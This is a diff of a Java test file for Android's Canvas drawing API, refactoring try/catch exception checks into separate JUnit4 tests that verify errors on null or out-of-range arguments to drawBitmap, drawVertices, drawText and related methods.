+        // Should throw NullPointerException because oval is null
+        mCanvas.drawArc(null, 10.0f, 29.0f, true, mPaint);
+    }
 
+    @Test
+    public void testDrawArc() {
         // normal case
         mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 11, false, mPaint);
         mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 11, true, mPaint);
     }
 
-    public void testDrawRoundRect() {
-        // abnormal case: RoundRect is null
-        try {
-            mCanvas.drawRoundRect(null, 10.0f, 29.0f, mPaint);
-            fail("should throw out NullPointerException because RoundRect is null");
-        } catch (NullPointerException e) {
-            // expected
-        }
+    @Test(expected=NullPointerException.class)
+    public void testDrawRoundRectNull() {
+        // Should throw out NullPointerException because RoundRect is null
+        mCanvas.drawRoundRect(null, 10.0f, 29.0f, mPaint);
+    }
 
+    @Test
+    public void testDrawRoundRect() {
         mCanvas.drawRoundRect(new RectF(0, 0, 10, 12), 8, 8, mPaint);
     }
 
+    @Test
     public void testDrawPath() {
         mCanvas.drawPath(new Path(), mPaint);
     }
 
-    public void testDrawBitmap1() {
+    @Test(expected=RuntimeException.class)
+    public void testDrawBitmapAtPointRecycled() {
         Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
-
-        // abnormal case: the bitmap to be drawn is recycled
         b.recycle();
-        try {
-            mCanvas.drawBitmap(b, 10.0f, 29.0f, mPaint);
-            fail("should throw out RuntimeException because bitmap has been recycled");
-        } catch (RuntimeException e) {
-            // expected
-        }
 
-        b = Bitmap.createBitmap(BITMAP_WIDTH, 12, Config.ARGB_8888);
+        // Should throw out RuntimeException because bitmap has been recycled
+        mCanvas.drawBitmap(b, 10.0f, 29.0f, mPaint);
+    }
+
+    @Test
+    public void testDrawBitmapAtPoint() {
+        Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 12, Config.ARGB_8888);
         mCanvas.drawBitmap(b, 10, 12, null);
         mCanvas.drawBitmap(b, 5, 12, mPaint);
     }
 
-    public void testDrawBitmap2() {
+    @Test(expected=RuntimeException.class)
+    public void testDrawBitmapSrcDstFloatRecycled() {
         Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
-
-        // abnormal case: the bitmap to be drawn is recycled
         b.recycle();
-        try {
-            mCanvas.drawBitmap(b, null, new RectF(), mPaint);
-            fail("should throw out RuntimeException because bitmap has been recycled");
-        } catch (RuntimeException e) {
-            // expected
-        }
 
-        b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
+        // Should throw out RuntimeException because bitmap has been recycled
+        mCanvas.drawBitmap(b, null, new RectF(), mPaint);
+    }
+
+    @Test
+    public void testDrawBitmapSrcDstFloat() {
+        Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
         mCanvas.drawBitmap(b, new Rect(), new RectF(), null);
         mCanvas.drawBitmap(b, new Rect(), new RectF(), mPaint);
     }
 
-    public void testDrawBitmap3() {
+    @Test(expected=RuntimeException.class)
+    public void testDrawBitmapSrcDstIntRecycled() {
         Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
-
-        // abnormal case: the bitmap to be drawn is recycled
         b.recycle();
-        try {
-            mCanvas.drawBitmap(b, null, new Rect(), mPaint);
-            fail("should throw out RuntimeException because bitmap has been recycled");
-        } catch (RuntimeException e) {
-            // expected
-        }
 
-        b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
+        // Should throw out RuntimeException because bitmap has been recycled
+        mCanvas.drawBitmap(b, null, new Rect(), mPaint);
+    }
+
+    @Test
+    public void testDrawBitmapSrcDstInt() {
+        Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
         mCanvas.drawBitmap(b, new Rect(), new Rect(), null);
         mCanvas.drawBitmap(b, new Rect(), new Rect(), mPaint);
     }
 
-    public void testDrawBitmap4() {
+    @Test(expected=IllegalArgumentException.class)
+    public void testDrawBitmapIntsNegativeWidth() {
+        // Should throw out IllegalArgumentException because width is less than 0
+        mCanvas.drawBitmap(new int[2008], 10, 10, 10, 10, -1, 10, true, null);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testDrawBitmapIntsNegativeHeight() {
+        // Should throw out IllegalArgumentException because height is less than 0
+        mCanvas.drawBitmap(new int[2008], 10, 10, 10, 10, 10, -1, true, null);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testDrawBitmapIntsBadStride() {
+        // Should throw out IllegalArgumentException because stride less than width and
+        // bigger than -width
+        mCanvas.drawBitmap(new int[2008], 10, 5, 10, 10, 10, 10, true, null);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapIntsNegativeOffset() {
+        // Should throw out ArrayIndexOutOfBoundsException because offset less than 0
+        mCanvas.drawBitmap(new int[2008], -1, 10, 10, 10, 10, 10, true, null);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapIntsBadOffset() {
+        // Should throw out ArrayIndexOutOfBoundsException because sum of offset and width
+        // is bigger than colors' length
+        mCanvas.drawBitmap(new int[29], 10, 29, 10, 10, 20, 10, true, null);
+    }
+
+    @Test
+    public void testDrawBitmapInts() {
         final int[] colors = new int[2008];
 
-        // abnormal case: width less than 0
-        try {
-            mCanvas.drawBitmap(colors, 10, 10, 10, 10, -1, 10, true, null);
-            fail("should throw out IllegalArgumentException because width is less than 0");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // abnormal case: height less than 0
-        try {
-            mCanvas.drawBitmap(colors, 10, 10, 10, 10, 10, -1, true, null);
-            fail("should throw out IllegalArgumentException because height is less than 0");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // abnormal case: stride less than width and bigger than -width
-        try {
-            mCanvas.drawBitmap(colors, 10, 5, 10, 10, 10, 10, true, null);
-            fail("should throw out IllegalArgumentException because stride less than width and"
-                            + " bigger than -width");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // abnormal case: offset less than 0
-        try {
-            mCanvas.drawBitmap(colors, -1, 10, 10, 10, 10, 10, true, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because offset less than 0");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // abnormal case: (offset + width) bigger than colors' length
-        try {
-            mCanvas.drawBitmap(new int[29], 10, 29, 10, 10, 20, 10, true, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because sum of offset and width"
-                            + " is bigger than colors' length");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
         // special case: width equals to 0
         mCanvas.drawBitmap(colors, 10, 10, 10, 10, 0, 10, true, null);
 
@@ -1492,51 +1541,42 @@
         mCanvas.drawBitmap(colors, 10, 10, 10, 10, 10, 29, true, mPaint);
     }
 
-    public void testDrawBitmap6() {
+    @Test(expected=IllegalArgumentException.class)
+    public void testDrawBitmapFloatsNegativeWidth() {
+        // Should throw out IllegalArgumentException because width is less than 0
+        mCanvas.drawBitmap(new int[2008], 10, 10, 10.0f, 10.0f, -1, 10, true, null);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testDrawBitmapFloatsNegativeHeight() {
+        // Should throw out IllegalArgumentException because height is less than 0
+        mCanvas.drawBitmap(new int[2008], 10, 10, 10.0f, 10.0f, 10, -1, true, null);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testDrawBitmapFloatsBadStride() {
+        // Should throw out IllegalArgumentException because stride less than width and
+        // bigger than -width
+        mCanvas.drawBitmap(new int[2008], 10, 5, 10.0f, 10.0f, 10, 10, true, null);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapFloatsNegativeOffset() {
+        // Should throw out ArrayIndexOutOfBoundsException because offset less than 0
+        mCanvas.drawBitmap(new int[2008], -1, 10, 10.0f, 10.0f, 10, 10, true, null);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapFloatsBadOffset() {
+        // Should throw out ArrayIndexOutOfBoundsException because sum of offset and width
+        // is bigger than colors' length
+        mCanvas.drawBitmap(new int[29], 10, 29, 10.0f, 10.0f, 20, 10, true, null);
+    }
+
+    @Test
+    public void testDrawBitmapFloats() {
         final int[] colors = new int[2008];
 
-        // abnormal case: width less than 0
-        try {
-            mCanvas.drawBitmap(colors, 10, 10, 10.0f, 10.0f, -1, 10, true, null);
-            fail("should throw out IllegalArgumentException because width is less than 0");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // abnormal case: height less than 0
-        try {
-            mCanvas.drawBitmap(colors, 10, 10, 10.0f, 10.0f, 10, -1, true, null);
-            fail("should throw out IllegalArgumentException because height is less than 0");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // abnormal case: stride less than width and bigger than -width
-        try {
-            mCanvas.drawBitmap(colors, 10, 5, 10.0f, 10.0f, 10, 10, true, null);
-            fail("should throw out IllegalArgumentException because stride is less than width "
-                                + "and bigger than -width");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // abnormal case: offset less than 0
-        try {
-            mCanvas.drawBitmap(colors, -1, 10, 10.0f, 10.0f, 10, 10, true, null);
-            fail("should throw out IllegalArgumentException because offset is less than 0");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // abnormal case: (offset + width) bigger than colors' length
-        try {
-            mCanvas.drawBitmap(new int[29], 10, 29, 10.0f, 10.0f, 20, 10, true, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because sum of offset and width"
-                            + " is bigger than colors' length");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
         // special case: width equals to 0
         mCanvas.drawBitmap(colors, 10, 10, 10.0f, 10.0f, 0, 10, true, null);
 
@@ -1548,49 +1588,70 @@
         mCanvas.drawBitmap(colors, 10, 10, 10.0f, 10.0f, 10, 29, true, mPaint);
     }
 
-    public void testDrawBitmap5() {
+    @Test
+    public void testDrawBitmapMatrix() {
         final Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
         mCanvas.drawBitmap(b, new Matrix(), null);
         mCanvas.drawBitmap(b, new Matrix(), mPaint);
     }
 
-    public void testDrawBitmapMesh() {
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapMeshNegativeWidth() {
         final Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
 
-        // abnormal case: meshWidth less than 0
-        try {
-            mCanvas.drawBitmapMesh(b, -1, 10, null, 0, null, 0, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because meshWidth less than 0");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+        // Should throw out ArrayIndexOutOfBoundsException because meshWidth less than 0
+        mCanvas.drawBitmapMesh(b, -1, 10, null, 0, null, 0, null);
+    }
 
-        // abnormal case: meshHeight less than 0
-        try {
-            mCanvas.drawBitmapMesh(b, 10, -1, null, 0, null, 0, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because meshHeight "
-                                    + "is less than 0");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapMeshNegativeHeight() {
+        final Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
 
-        // abnormal case: vertOffset less than 0
-        try {
-            mCanvas.drawBitmapMesh(b, 10, 10, null, -1, null, 0, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because vertOffset "
-                                                + "is less than 0");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+        // Should throw out ArrayIndexOutOfBoundsException because meshHeight is less than 0
+        mCanvas.drawBitmapMesh(b, 10, -1, null, 0, null, 0, null);
+    }
 
-        // abnormal case: colorOffset less than 0
-        try {
-            mCanvas.drawBitmapMesh(b, 10, 10, null, 10, null, -1, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because colorOffset is"
-                                    + " less than 0");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapMeshNegativeVertOffset() {
+        final Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
+
+        // Should throw out ArrayIndexOutOfBoundsException because vertOffset is less than 0
+        mCanvas.drawBitmapMesh(b, 10, 10, null, -1, null, 0, null);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapMeshNegativeColorOffset() {
+        final Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
+
+        // Should throw out ArrayIndexOutOfBoundsException because colorOffset is less than 0
+        mCanvas.drawBitmapMesh(b, 10, 10, null, 10, null, -1, null);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapMeshTooFewVerts() {
+        final Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
+
+        // Should throw out ArrayIndexOutOfBoundsException because verts' length is too short
+        mCanvas.drawBitmapMesh(b, 10, 10, new float[] {
+                10.0f, 29.0f
+        }, 10, null, 10, null);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawBitmapMeshTooFewColors() {
+        final Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
+
+        // Should throw out ArrayIndexOutOfBoundsException because colors' length is too short
+        // abnormal case: colors' length is too short
+        final float[] verts = new float[2008];
+        mCanvas.drawBitmapMesh(b, 10, 10, verts, 10, new int[] {
+                10, 29
+        }, 10, null);
+    }
+
+    @Test
+    public void testDrawBitmapMesh() {
+        final Bitmap b = Bitmap.createBitmap(BITMAP_WIDTH, 29, Config.ARGB_8888);
 
         // special case: meshWidth equals to 0
         mCanvas.drawBitmapMesh(b, 0, 10, null, 10, null, 10, null);
@@ -1598,36 +1659,15 @@
         // special case: meshHeight equals to 0
         mCanvas.drawBitmapMesh(b, 10, 0, null, 10, null, 10, null);
 
-        // abnormal case: verts' length is too short
-        try {
-            mCanvas.drawBitmapMesh(b, 10, 10, new float[] {
-                    10.0f, 29.0f
-            }, 10, null, 10, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because verts' length"
-                                    + " is too short");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // abnormal case: colors' length is too short
-        final float[] verts = new float[2008];
-        try {
-            mCanvas.drawBitmapMesh(b, 10, 10, verts, 10, new int[] {
-                    10, 29
-            }, 10, null);
-            fail("should throw out ArrayIndexOutOfBoundsException because colors' "
-                        + "length is too short");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
         // normal case
+        final float[] verts = new float[2008];
         final int[] colors = new int[2008];
         mCanvas.drawBitmapMesh(b, 10, 10, verts, 10, colors, 10, null);
         mCanvas.drawBitmapMesh(b, 10, 10, verts, 10, colors, 10, mPaint);
     }
 
-    public void testDrawVertices() {
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawVerticesTooFewVerts() {
         final float[] verts = new float[10];
         final float[] texs = new float[10];
         final int[] colors = new int[10];
@@ -1635,45 +1675,65 @@
                 0, 1, 2, 3, 4, 1
         };
 
-        // abnormal case: (vertOffset + vertexCount) bigger than verts' length
-        try {
-            mCanvas.drawVertices(VertexMode.TRIANGLES, 10, verts, 8, texs, 0, colors, 0, indices,
-                    0, 4, mPaint);
-            fail("should throw out ArrayIndexOutOfBoundsException because sum of vertOffset and"
-                            + " vertexCount is bigger than verts' length");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+        // Should throw out ArrayIndexOutOfBoundsException because sum of vertOffset and
+        // vertexCount is bigger than verts' length
+        mCanvas.drawVertices(VertexMode.TRIANGLES, 10, verts, 8, texs, 0, colors, 0, indices,
+                0, 4, mPaint);
+    }
 
-        // abnormal case: (texOffset + vertexCount) bigger than texs' length
-        try {
-            mCanvas.drawVertices(VertexMode.TRIANGLES, 10, verts, 0, texs, 30, colors, 0, indices,
-                    0, 4, mPaint);
-            fail("should throw out ArrayIndexOutOfBoundsException because sum of texOffset and"
-                                    + " vertexCount is bigger thatn texs' length");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawVerticesTooFewTexs() {
+        final float[] verts = new float[10];
+        final float[] texs = new float[10];
+        final int[] colors = new int[10];
+        final short[] indices = {
+                0, 1, 2, 3, 4, 1
+        };
 
-        // abnormal case: (colorOffset + vertexCount) bigger than colors' length
-        try {
-            mCanvas.drawVertices(VertexMode.TRIANGLES, 10, verts, 0, texs, 0, colors, 30, indices,
-                    0, 4, mPaint);
-            fail("should throw out ArrayIndexOutOfBoundsException because sum of colorOffset and"
-                                + " vertexCount is bigger than colors' length");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+        // Should throw out ArrayIndexOutOfBoundsException because sum of texOffset and
+        // vertexCount is bigger thatn texs' length
+        mCanvas.drawVertices(VertexMode.TRIANGLES, 10, verts, 0, texs, 30, colors, 0, indices,
+                0, 4, mPaint);
+    }
 
-        // abnormal case: (indexOffset + indexCount) bigger than indices' length
-        try {
-            mCanvas.drawVertices(VertexMode.TRIANGLES, 10, verts, 0, texs, 0, colors, 0, indices,
-                    10, 30, mPaint);
-            fail("should throw out ArrayIndexOutOfBoundsException because sum of indexOffset and"
-                            + " indexCount is bigger than indices' length");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawVerticesTooFewColors() {
+        final float[] verts = new float[10];
+        final float[] texs = new float[10];
+        final int[] colors = new int[10];
+        final short[] indices = {
+                0, 1, 2, 3, 4, 1
+        };
+
+        // Should throw out ArrayIndexOutOfBoundsException because sum of colorOffset and
+        // vertexCount is bigger than colors' length
+        mCanvas.drawVertices(VertexMode.TRIANGLES, 10, verts, 0, texs, 0, colors, 30, indices,
+                0, 4, mPaint);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawVerticesTooFewIndices() {
+        final float[] verts = new float[10];
+        final float[] texs = new float[10];
+        final int[] colors = new int[10];
+        final short[] indices = {
+                0, 1, 2, 3, 4, 1
+        };
+
+        // Should throw out ArrayIndexOutOfBoundsException because sum of indexOffset and
+        // indexCount is bigger than indices' length
+        mCanvas.drawVertices(VertexMode.TRIANGLES, 10, verts, 0, texs, 0, colors, 0, indices,
+                10, 30, mPaint);
+    }
+
+    @Test
+    public void testDrawVertices() {
+        final float[] verts = new float[10];
+        final float[] texs = new float[10];
+        final int[] colors = new int[10];
+        final short[] indices = {
+                0, 1, 2, 3, 4, 1
+        };
 
         // special case: in texs, colors, indices, one of them, two of them and
         // all are null
@@ -1697,85 +1757,71 @@
                 6, mPaint);
     }
 
-    public void testDrawText1() {
-        final char[] text = {
-                'a', 'n', 'd', 'r', 'o', 'i', 'd'
-        };
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawArrayTextNegativeIndex() {
+        final char[] text = { 'a', 'n', 'd', 'r', 'o', 'i', 'd' };
 
-        // abnormal case: index less than 0
-        try {
-            mCanvas.drawText(text, -1, 7, 10, 10, mPaint);
-            fail("should throw out IndexOutOfBoundsException because index is less than 0");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
+        // Should throw out IndexOutOfBoundsException because index is less than 0
+        mCanvas.drawText(text, -1, 7, 10, 10, mPaint);
+    }
 
-        // abnormal case: count less than 0
-        try {
-            mCanvas.drawText(text, 0, -1, 10, 10, mPaint);
-            fail("should throw out IndexOutOfBoundsException because count is less than 0");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawArrayTextNegativeCount() {
+        final char[] text = { 'a', 'n', 'd', 'r', 'o', 'i', 'd' };
 
-        // abnormal case: (index + count) bigger than text's length
-        try {
-            mCanvas.drawText(text, 0, 10, 10, 10, mPaint);
-            fail("should throw out IndexOutOfBoundsException because sum of index and count "
-                                + "is bigger than text's length");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
+        // Should throw out IndexOutOfBoundsException because count is less than 0
+        mCanvas.drawText(text, 0, -1, 10, 10, mPaint);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawArrayTextTextLengthTooSmall() {
+        final char[] text = { 'a', 'n', 'd', 'r', 'o', 'i', 'd' };
+
+        // Should throw out IndexOutOfBoundsException because sum of index and count
+        // is bigger than text's length
+        mCanvas.drawText(text, 0, 10, 10, 10, mPaint);
+    }
+
+    @Test
+    public void testDrawArrayText() {
+        final char[] text = { 'a', 'n', 'd', 'r', 'o', 'i', 'd' };
 
         // normal case
         mCanvas.drawText(text, 0, 7, 10, 10, mPaint);
     }
 
-    public void testDrawText2() {
+    @Test
+    public void testDrawStringTextAtPosition() {
         mCanvas.drawText("android", 10, 30, mPaint);
     }
 
-    public void testDrawText3() {
-        final String text = "android";
-
-        // abnormal case: start less than 0
-        try {
-            mCanvas.drawText(text, -1, 7, 10, 30, mPaint);
-            fail("should throw out IndexOutOfBoundsException because start is lesss than 0");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // abnormal case: end less than 0
-        try {
-            mCanvas.drawText(text, 0, -1, 10, 30, mPaint);
-            fail("should throw out IndexOutOfBoundsException because end is less than 0");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // abnormal case: start bigger than end
-        try {
-            mCanvas.drawText(text, 3, 1, 10, 30, mPaint);
-            fail("should throw out IndexOutOfBoundsException because start is bigger than end");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // abnormal case: (end - start) bigger than text's length
-        try {
-            mCanvas.drawText(text, 0, 10, 10, 30, mPaint);
-            fail("should throw out IndexOutOfBoundsException because end subtracts start should"
-                                + " bigger than text's length");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // normal case
-        mCanvas.drawText(text, 0, 7, 10, 30, mPaint);
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextTextAtPositionWithOffsetsNegativeStart() {
+        // Should throw out IndexOutOfBoundsException because start is less than 0
+        mCanvas.drawText("android", -1, 7, 10, 30, mPaint);
     }
 
-    public void testDrawText4() {
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextTextAtPositionWithOffsetsNegativeEnd() {
+        // Should throw out IndexOutOfBoundsException because end is less than 0
+        mCanvas.drawText("android", 0, -1, 10, 30, mPaint);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextTextAtPositionWithOffsetsStartEndMismatch() {
+        // Should throw out IndexOutOfBoundsException because start is bigger than end
+        mCanvas.drawText("android", 3, 1, 10, 30, mPaint);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextTextAtPositionWithOffsetsTextTooLong() {
+        // Should throw out IndexOutOfBoundsException because end subtracts start should
+        // bigger than text's length
+        mCanvas.drawText("android", 0, 10, 10, 30, mPaint);
+    }
+
+    @Test
+    public void testDrawTextTextAtPositionWithOffsets() {
         final String t1 = "android";
         mCanvas.drawText(t1, 0, 7, 10, 30, mPaint);
 
@@ -1792,6 +1838,7 @@
         mCanvas.drawText(t5, 0, 7, 10, 30, mPaint);
     }
 
+    @Test
     public void testDrawTextRun() {
         final String text = "android";
         final Paint paint = new Paint();
@@ -1800,213 +1847,248 @@
         mCanvas.drawTextRun(text, 0, text.length(), 0, text.length(), 0.0f, 0.0f, false, paint);
         mCanvas.drawTextRun(text, text.length(), text.length(), text.length(), text.length(),
                 0.0f, 0.0f, false, paint);
-
-        try {
-            mCanvas.drawTextRun((char[])null, 0, 0, 0, 0, 0.0f, 0.0f, false, paint);
-            fail("should throw out NullPointerException because text is null");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun((CharSequence)null, 0, 0, 0, 0, 0.0f, 0.0f, false, paint);
-            fail("should throw out NullPointerException because text is null");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text.toCharArray(), 0, 0, 0, 0, 0.0f, 0.0f, false, null);
-            fail("should throw out NullPointerException because paint is null");
-        } catch (NullPointerException e) {
-        }
-        try {
-            mCanvas.drawTextRun(text, 0, 0, 0, 0, 0.0f, 0.0f, false, null);
-            fail("should throw out NullPointerException because paint is null");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text.toCharArray(), -1, text.length(), 0, text.length(), 0.0f, 0.0f,
-                    false, paint);
-            fail("should throw out IndexOutOfBoundsException because index is less than 0");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text.toCharArray(), 0, -1, 0, text.length(), 0.0f, 0.0f, false,
-                    paint);
-            fail("should throw out IndexOutOfBoundsException because count is less than 0");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text.toCharArray(), 0, text.length(), 1, text.length(), 0.0f, 0.0f,
-                    false, paint);
-            fail("should throw out IndexOutOfBoundsException because contextIndex is bigger than "
-                    + "index");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-
-        try {
-            mCanvas.drawTextRun(text, 0, text.length(), 0, text.length() - 1, 0.0f, 0.0f, false,
-                    paint);
-            fail("should throw out IndexOutOfBoundsException because contexIndex + contextCount "
-                    + "is less than index + count");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text.toCharArray(), 0, text.length() + 1, 0, text.length() + 1,
-                    0.0f, 0.0f, false, paint);
-            fail("should throw out IndexOutOfBoundsException because index + count is bigger than "
-                    + "text length");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text, 0, text.length(), -1, text.length(), 0.0f, 0.0f, false,
-                    paint);
-            fail("should throw out IndexOutOfBoundsException because contextStart is less than 0");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text, 0, text.length(), 1, text.length(), 0.0f, 0.0f, false,
-                    paint);
-            fail("should throw out IndexOutOfBoundsException because start is less than "
-                    + "contextStart");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text, 1, 0, 0, text.length(), 0.0f, 0.0f, false,
-                    paint);
-            fail("should throw out IndexOutOfBoundsException because end is less than start");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text, 0, text.length(), 0, text.length() - 1, 0.0f, 0.0f, false,
-                    paint);
-            fail("should throw out IndexOutOfBoundsException because contextEnd is less than end");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mCanvas.drawTextRun(text, 0, text.length(), 0, text.length() + 1, 0.0f, 0.0f, false,
-                    paint);
-            fail("should throw out IndexOutOfBoundsException because contextEnd is bigger than "
-                    + "text length");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
-    public void testDrawPosText1() {
+    @Test(expected=NullPointerException.class)
+    public void testDrawTextRunNullCharArray() {
+        // Should throw out NullPointerException because text is null
+        mCanvas.drawTextRun((char[]) null, 0, 0, 0, 0, 0.0f, 0.0f, false, new Paint());
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testDrawTextRunNullCharSequence() {
+        // Should throw out NullPointerException because text is null
+        mCanvas.drawTextRun((CharSequence) null, 0, 0, 0, 0, 0.0f, 0.0f, false, new Paint());
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testDrawTextRunCharArrayNullPaint() {
+        // Should throw out NullPointerException because paint is null
+        mCanvas.drawTextRun("android".toCharArray(), 0, 0, 0, 0, 0.0f, 0.0f, false, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testDrawTextRunCharSequenceNullPaint() {
+        // Should throw out NullPointerException because paint is null
+        mCanvas.drawTextRun("android", 0, 0, 0, 0, 0.0f, 0.0f, false, null);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunNegativeIndex() {
+        final String text = "android";
+        final Paint paint = new Paint();
+
+        // Should throw out IndexOutOfBoundsException because index is less than 0
+        mCanvas.drawTextRun(text.toCharArray(), -1, text.length(), 0, text.length(), 0.0f, 0.0f,
+                false, new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunNegativeCount() {
+        final String text = "android";
+
+        // Should throw out IndexOutOfBoundsException because count is less than 0
+        mCanvas.drawTextRun(text.toCharArray(), 0, -1, 0, text.length(), 0.0f, 0.0f, false,
+                new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunContestIndexTooLarge() {
+        final String text = "android";
+
+        // Should throw out IndexOutOfBoundsException because contextIndex is bigger than index
+        mCanvas.drawTextRun(text.toCharArray(), 0, text.length(), 1, text.length(), 0.0f, 0.0f,
+                false, new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunContestIndexTooSmall() {
+        final String text = "android";
+
+        // Should throw out IndexOutOfBoundsException because contextIndex + contextCount
+        // is less than index + count
+        mCanvas.drawTextRun(text, 0, text.length(), 0, text.length() - 1, 0.0f, 0.0f, false,
+                new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunIndexTooLarge() {
+        final String text = "android";
+        final Paint paint = new Paint();
+
